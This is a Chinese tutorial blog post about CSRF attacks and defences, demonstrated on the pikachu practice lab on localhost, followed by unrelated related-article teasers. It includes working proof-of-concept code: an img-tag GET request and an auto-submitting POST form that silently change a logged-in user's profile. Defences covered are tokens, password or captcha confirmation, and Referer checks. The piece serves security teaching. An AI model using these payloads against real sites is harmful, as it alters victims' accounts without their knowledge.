CSRF漏洞利用与防御

news2024/11/18 15:21:27

今天继续给大家介绍渗透测试相关知识,本文主要内容是CSRF漏洞利用与防御。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、CSRF漏洞利用

我们使用pikachu靶场进行CSRF漏洞的利用。

(一)GET型CSRF漏洞攻击

GET型CSRF漏洞靶场登陆后页面如下所示:
在这里插入图片描述
我们点击修改个人信息,就可以进入到修改个人信息的页面,如下所示:
在这里插入图片描述
成功修改个人信息后,如下所示:
在这里插入图片描述
在此过程中,我们使用Burpsuite抓包,数据包如下所示:
在这里插入图片描述
下面我们开始进行CSRF漏洞攻击演示。首先构造一个页面,页面只有一个img标签,标签的src属性设置为pikachu靶场更改电话号码的URL,靶场源码如下所示:

<img src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit">

我们在登录皮卡丘靶场的页面上,直接访问该页面,结果发现pukachu靶场中vince用户的个人信息被修改,结果如下所示:
在这里插入图片描述
这说明,我们在访问了特制的网页后,用户在不知情的情况下,个人信息被修改了。

(二)POST型CSRF漏洞攻击

POST型CSRF漏洞靶场登录后页面如GET型相同,但是在修改信息时的提交方式是POST,数据包如下所示:
在这里插入图片描述
针对这种情形,我们需要改动一下页面,页面如下所示:

 <html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="boy" />
    <input id="phonenum" type="text" name="phonenum" value="1234567890" />
    <input id="add" type="text" name="add" value="chain" />
    <input id="email" type="text" name="email" value="vince@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

在上述代码中,我们仿照pikachu靶场设置了一个提交框,并且用JavaScript代码实现了自动提交。
访问该页面后,发现vince用户的个人信息又发生了改变,如下所示:
在这里插入图片描述
这说明,我们在访问了特制的网页后,用户个人信息又被修改了。

二、CSRF漏洞防御

针对CSRF漏洞,我们可以进行以下操作,以尽可能的封堵该漏洞,避免给用户造成损失。CSRF漏洞的防御主要有以下措施:
1、增加Token机制
在pikachu带有token的靶场下,数据包如下所示:
在这里插入图片描述
在这里插入图片描述
从以上可以看出,数据包在发送时,会携带token的字段,并且不同的数据包会携带不同的token。
我们还可以查看网站源代码,如下所示:
在这里插入图片描述
从上图中可以看出,在提交框中,有一个type为hiden的隐形input输入框,该输入框的值就是token的值。这个token会在请求网页时下发,并且在网页数据包提交后进行检查,从而使得攻击者控制用户发送的数据包失效。
2、逻辑上,设置输入原密码,输入验证码等操作。
实际上,token是最有效的防御CSRF漏洞的方式,除了使用token外,在业务逻辑上,对用户的关键操作要求输入原密码,或者是输入验证码等,也可以在一定程度上防御CSRF漏洞。
3、检测referer头
此外,referer头也是一个常见的CSRF漏洞防护措施,网站可以检测用户发送数据包的referer头,如果与本网站不一致,则说明该数据包疑似是CSRF诱导用户发送的数据包,进而采取措施。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/63123.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring更简单的存储和读取Bean

⭐️前言⭐️ 在上一篇文章【Spring的创建与使用】中&#xff0c;我们已经了解了Spring中bean对象的基本的创建和使用方法&#xff0c;这篇文章通过注解的方法&#xff0c;使得存储和读取对象更加简单。 &#x1f349;博客主页&#xff1a; &#x1f341;【如风暖阳】&#x1…

[附源码]计算机毕业设计JAVA疫情背景下社区公共卫生服务系统

[附源码]计算机毕业设计JAVA疫情背景下社区公共卫生服务系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a…

分布式事务最终一致性的方案

最终一致性的方案 知识储备 分布式系统中不可避免存在分布式事务带来的一致性问题。为了解决这个问题&#xff0c;需要熟悉业界相关的理论&#xff1a; ACID CAP BASE 2PC 3PC TCC 对于一致性的处理&#xff0c;分为强一致和最终一致性。强一致&#xff0c;对系统的吞吐…

cox回归RCS阈值效应函数cut.tab1.3发布

写在前面的话&#xff0c;本次只发布了cox回归RCS阈值函数&#xff0c;请看清楚再购买&#xff0c;觉得贵的可以等一等&#xff0c;这个函数最终会放在ggrcs包上面&#xff0c;免费供大家使用&#xff0c;急用的可以先看看。 接下来聊聊cox回归RCS阈值函数是干什么用的&#xf…

[附源码]Python计算机毕业设计SSM江西婺源旅游文化推广系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Python入门 函数 基础入门篇

一、什么是函数 函数是最基本的一种代码抽象的方式&#xff0c;是组织好的可重复使用的&#xff0c;用来实现单一或相关联功能的代码段。 函数是对做相似的事情或相似的动作进行封装&#xff0c;它能提高应用的模块性和代码的重复利用率。我们要封装好一个函数&#xff0c;首…

[附源码]计算机毕业设计设备运维平台出入库模块APPSpringboot程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

【STM32学习(3)】STM32——简述中断的基础知识

中断一、中断的定义二、中断的作用三、中断源&#xff08;中断触发的硬件&#xff09;四、中断类型五、中断优先级六、中断服务函数一、中断的定义 中断&#xff0c;即CPU在正常执行程序的过程中&#xff0c;遇到外部&#xff08;IO引脚中断&#xff09;/内部&#xff08;定时…

Maven技术

目录 传统项目管理分析&#xff08;导入jar包形式&#xff09; maven组成部分 maven项目构建命令 maven高级 项目的聚合与继承 maven子父工程 需求&#xff1a;使用maven子父工程完成登录并跳转到首页列表 创建父工程 在父工程中以module的形式创建子模块 在父工程中以…

RocketMQ 5.0 可观测能力升级:Metrics 指标分析

作者&#xff1a;玄珏 从消息的生命周期看可观测能力 在进入主题之前先来看一下 RocketMQ 生产者、消费者和服务端交互的流程&#xff1a; message produce and consume process RocketMQ 的消息是按照队列的方式分区有序储存的&#xff0c;这种队列模型使得生产者、消费者和…

Matlab论文插图绘制模板第67期—三角网格图(Trimesh)

在之前的文章中&#xff0c;分享了Matlab网格曲面图的绘制模板&#xff1a; 以及一些特殊形式的网格曲面图&#xff1a; 这一次&#xff0c;再来分享一种特殊的网格曲面图&#xff1a;三角网格图。 先来看一下成品效果&#xff1a; 特别提示&#xff1a;Matlab论文插图绘制模板…

为初学者介绍轻量级目录访问协议——LDAP

如果您是刚接触Active Directory (AD)的初学者&#xff0c;那么当您发现LDAP这个术语时可能会感到十分迷茫。今天就让我们来您熟悉 LDAP&#xff0c;让您更加坚定学习AD域管理的信心。 LDAP 首先&#xff0c;让我们直面主题&#xff01;什么是 LDAP&#xff1f; LDAP 是一种标…

[矩阵论] Unit 3. 矩阵的分解 - 知识点整理

注: 以下内容均由个人整理, 不保证完全准确, 如有纰漏, 欢迎交流讨论参考: 杨明, 刘先忠. 矩阵论(第二版)[M]. 武汉: 华中科技大学出版社, 2005 3 矩阵的分解 3.1 常见的矩阵标准形与分解 常见标准形 等价标准形: P,QP, QP,Q 可逆 AmnPmm[Ir000]QnnA_{m\times n}P_{m\times…

[附源码]Python计算机毕业设计SSM教师职称资料管理系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

软件测试流程图!转行互联网职场必备!

今天给大家分享的是&#xff0c;在软件测试日常工作过程中&#xff0c;比较常见的几种测试流程图&#xff1a; 1.【测试立项】流程图 2.【测试计划】流程图 3.【单元测试】流程图 4.【整合测试】流程图 5.【系统测试】流程图 6.【性能测试】流程图 7.【验收测试】…

QTextStream(文本流)

QTextStream QTextStream 类为读取和写入文本提供了一个方便的接口可以在QIODevice、QBateArray、和QString中使用&#xff0c;QTextStream使用的是流运算符&#xff08;>> <<&#xff09;&#xff0c;可以更方便的读/写数据&#xff0c;QTextStream也支持对字段进…

使用 Echarts 插件完成中国地图

目录前言&#xff1a;什么是 Echarts 插件中国地图成品展示步骤&#xff1a;完成中国地图代码总结&#xff1a;前言&#xff1a; 大家都知道&#xff0c;一般情况下&#xff0c;想要使用前端设置一个 中国地图 需要使用 canvas 画布进行编写&#xff0c;不仅代码多&#xff0c…

【滤波器】基于Matlab设计巴斯 切比雪夫 椭圆 低通高通带通带阻数字滤波器附GUI界面

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

11月VR大数据:SteamVR新增PICO 4串流数据统计

Hello大家好&#xff0c;每月一期的VR内容/硬件大数据统计又和大家见面了。 想了解VR软硬件行情么&#xff1f;关注这里就对了。我们会统计Steam平台的用户及内容等数据&#xff0c;每月初准时为你推送&#xff0c;不要错过喔&#xff01; 本数据报告包含&#xff1a;Steam VR硬…

暖通锅炉远程监控解决方案

现状及需求分析 随着科学技术的发展&#xff0c;人们对生活品质的追求越来越高&#xff0c;空调行业也在快速发展&#xff0c;建筑空调已经成为现代城市不可或缺的重要组成部分。一般楼宇大厦都采用大型空调机组供暖制冷&#xff0c;那如何保证设备能恒温正常运行&#xff1f;…